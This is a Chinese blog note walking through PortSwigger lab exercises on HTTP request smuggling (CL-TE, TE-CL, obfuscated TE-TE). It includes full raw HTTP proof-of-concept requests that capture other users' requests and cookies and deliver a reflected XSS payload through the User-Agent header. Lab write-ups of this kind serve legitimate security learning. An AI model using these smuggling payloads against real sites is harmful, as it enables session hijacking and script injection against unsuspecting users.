http请求走私漏洞

访问Burp靶场速度感人..都要哭了(如果没有账户的先创建账户)

基础补充

pipeline

http1.1有了Pipeline,就不需要等待Server端的响应了。浏览器默认不启用pipeline但服务器相反

keepalive

通过Connection: keep-alive 这个头部来实现,服务端和客户端都可以使用它告诉对方在发送完数据之后不需要断开 TCP 连接。

CL

就是Content-Length, 这个content-length有多长,读过这个数就停止了

TE

就是Transfer-Encoding, TE遇0结束跟个\r\n。只定义了一种格式:chunked(分块编码)

Burp的特性

传值是隔一行才算进去



这里我开启了bp的默认更新CL

改请求格式就不讲了

绕过Waf就不讲了..

五种http走私

截图来自于spidersec,twitter上自己去搜

  • CL!=0: 就是CL不等于0呗
  • CL-CL: 前端和后端都是用CL认证
  • CL-TE: 前端用CL认证,后端用TE认证
  • TE-CL: 前端用TE认证,后端用CL认证
  • TE-TE: 前端和后端都是用TE认证

CL-TE

后端TE认证,会屏蔽掉CL

靶场环境:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

记住要加Transfer-Encoding: chunked
把Bp的更新CT关掉

解释下为什么CL设置成6,一个Enter是2字节,2*2=4,4+1(0)+A(0)



第一次读取正常,接着Go一次

TE-CL

后端遵守CL

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

记住要加Transfer-Encoding: chunked
把Bp的更新CT关掉



因为是CL认证,5是muxue的字节,我设置cl是3(5+enter=3)

第一遍正常请求,发送第二遍



OK...

就是因为后端采用了CL认证,后面的数据会被放进缓冲区,然后再请求一遍去加载

TE-TE

同样采用TE认证

但是可以混淆绕过,弄两个transfer-encoding哈哈

https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header



第二个TE头是来混淆的,我们再次发送请求看看会不会成功



如果单一的transfer-encoding:chunked我们来试试

怎么请求都是200

smuggling造成的用户劫持

https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests



有一个正常的可以输出自定义内容的页面,This is very important

然后我们来利用走私漏洞达到劫持,普通请求一个get页面看看

Poc
POST / HTTP/1.1
Host: accb1f821e43d7f880b21132005e0079.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: session=orHUORZ04SyNccC7qC2mth4imb66G8aZ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 712
Transfer-encoding: chunked 0 POST /post/comment HTTP/1.1
Host: accb1f821e43d7f880b21132005e0079.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://accb1f821e43d7f880b21132005e0079.web-security-academy.net/post?postId=5
Cookie: session=orHUORZ04SyNccC7qC2mth4imb66G8aZ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1190 csrf=bvhD9jnQtfj05BLQDksbPhzXpG3RjLNq&postId=5&name=cnm&email=cnm%40gmai.com&website=https%3A%2F%2Ftest.com&comment=cnm-hacker

这个我用edge整了很长时间,没有成功,用firefox就成功了。不知道是什么原因...

没用的可以删掉

为什么cl要这么大:因为要留出来一部分给受害者请求

为什么comment要放最后面:我看人家都把显示位拼接在后面,我照葫芦画瓢要是有人知道,请教一哈

content-length一定要大



出现这个,基本上就成了

smuggling配合xss

https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

官方提示了,UA头那里



配合http request smuggling

这个洞我又回到了edge.. 真不知道哪里出错了

POC
POST / HTTP/1.1
Host: aca41fab1efac68183430f27008e0073.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=ZnqUY5GnCnPJpeZxkKQLSlEfMc77jmHw
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Transfer-encoding: chunked 0 GET /post?postId=1 HTTP/1.1
Host: aca41fab1efac68183430f27008e0073.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: "><script>alert(/xss/)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=ZnqUY5GnCnPJpeZxkKQLSlEfMc77jmHw

正常发送一次,数据会被带到缓冲区,然后受害者请求网站,达到半存储型xss



这种感觉只要持续发送这个包,就可以达到存储型XSS吧

案例

等以后挖到 慢慢更新

2020 12.22 19:38 更新

最近因忙于备战高考... 也没搞安全,反正带专见呗 冲不动了

然后今晚也挖到了个

细节我确实也写了 但是不在博客园 各位有缘就能看见(滑稽)

Article:https://portswigger.net/web-security/request-smuggling

Http Request Smuggling - Note的更多相关文章

  1. [Java Web]Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors

    手机客户端向服务器提交Http请求时,Tomcat抛出错误: 十二月 31, 2014 2:32:45 下午 org.apache.coyote.http11.AbstractHttp11Proces ...

  2. 信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level

    四月 , :: 下午 org.apache.coyote.http11.AbstractHttp11Processor process 信息: Error parsing HTTP request h ...

  3. 为什么一个Http Header中的空格会被骇客利用 - HTTP request smuggling

    figure:last-child { margin-bottom: 0.5rem; } #write ol, #write ul { position: relative; } img { max- ...

  4. 利用Haproxy搭建 HTTP 请求走私(Request smuggling)环境

    Haproxy 介绍 HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性.负载均衡,以及基于TCP和HTTP的应用程序代理. 请求走私(Request smuggling)概念证 ...

  5. Portswigger web security academy:HTTP request smuggling

    HTTP request smuggling 目录 HTTP request smuggling HTTP request smuggling, basic CL.TE vulnerability H ...

  6. HTTP Request Smuggling 请求走私

    参考文章 浅析HTTP走私攻击 SeeBug-协议层的攻击--HTTP请求走私 HTTP 走私漏洞分析 简单介绍 攻击者通过构造特殊结构的请求,干扰网站服务器对请求的处理,从而实现攻击目标 前提知识 ...

  7. Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors...java.lang.IllegalArgumentException: Invalid character found in the request target. The valid characters are

    先将异常信息贴出: 该问题是tomcat进行http request解析的时候报的错,网上的解决办法主要是修改Tomcat的server.xml,在<Connector port="8 ...

  8. Tomcat:Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level.

    可能原因一: 在本地tomcat启动正常并且访问正常的项目放在服务器上tomcat报以上错误. 本地tomcat为7.0.68,服务器上为7.0.86 错误原因:服务器tomcat版本过高. 解决办法 ...

  9. Get提交数据过大,tomcat报错,信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level

    原因 get提交的数据过大,超过了默认值. 解决办法 get提交配置 设置tomcat的server.xml.找到我们启动的端口,一般是8080,增加maxHttpHeaderSize= " ...

随机推荐

  1. LevelDB学习笔记 (1):初识LevelDB

    LevelDB学习笔记 (1):初识LevelDB 1. 写在前面 1.1 什么是levelDB LevelDB就是一个由Google开源的高效的单机Key/Value存储系统,该存储系统提供了Key ...

  2. 一台服务器能支撑多少个TCP连接

    1. 困惑很多人的并发问题 在网络开发中,我发现有很多同学对一个基础问题始终是没有彻底搞明白.那就是一台服务器最大究竟能支持多少个网络连接?我想我有必要单独发一篇文章来好好说一下这个问题. 很多同学看 ...

  3. 温故知新,.Net Core遇见Consul(HashiCorp),实践分布式服务注册与发现

    什么是Consul 参考 https://www.consul.io https://www.hashicorp.com 使用Consul做服务发现的若干姿势 ASP.NET Core 发布之后通过命 ...

  4. Python自动化之封装日志模块(一)

    ------------恢复内容开始------------ 简介: 自己也在训练营学习之中,闲来之余,自己写着玩的,主要还是为了学习,希望和前辈和大佬相互学习共进. 日志模块主要有四大组件:日志器, ...

  5. 23 shell 进程替换

    0.shell进程替换的用法 1.使用进程替换的必要性 2.进程替换的本质 进程替换和命令替换非常相似.命令替换是把一个命令的输出结果赋值给另一个变量,例如dir_files=`ls -l`或date ...

  6. MyEclipse中,编写properties文件,输入中文显示乱码

    我在properties文件中输出中文,结果显示的是乱码,额......好吧,其实不是乱码,哪有这么规范的乱码 其实是在输入中文时发生了转码,就是下面这个样子: 字符集不支持中文,修改方法: 选中你工 ...

  7. Kong的API管理方式

    目录 Kong 的管理方式 1. kong的关键术语 Service: Route: Upstream: Target: API: Consumer: Plugin: 2. 如何通过配置KONG AP ...

  8. 「CF526F」 Pudding Monsters

    CF526F Pudding Monsters 传送门 模型转换:对于一个 \(n\times n\) 的棋盘,若每行每列仅有一个棋子,令 \(a_x=y\),则 \(a\) 为一个排列. 转换成排列 ...

  9. 『动善时』JMeter基础 — 55、使用非GUI模式运行JMeter(命令行模式)

    目录 1.JMeter的非GUI模式说明 2.为什么使用非GUI模式运行JMeter 3.使用非GUI模式运行JMeter (1)非GUI模式运行JMeter步骤 (2)其它参数说明 4.CLI模式运 ...

  10. python使用笔记008-模块

    模块的原理: 1.就是一个python文件 2.标准模块是python自带的 3.第三方模块需要自己安装 导入模块的顺序: 1.从当前目录下找 2.从python的环境变量中找 一.自己定义的模块 1 ...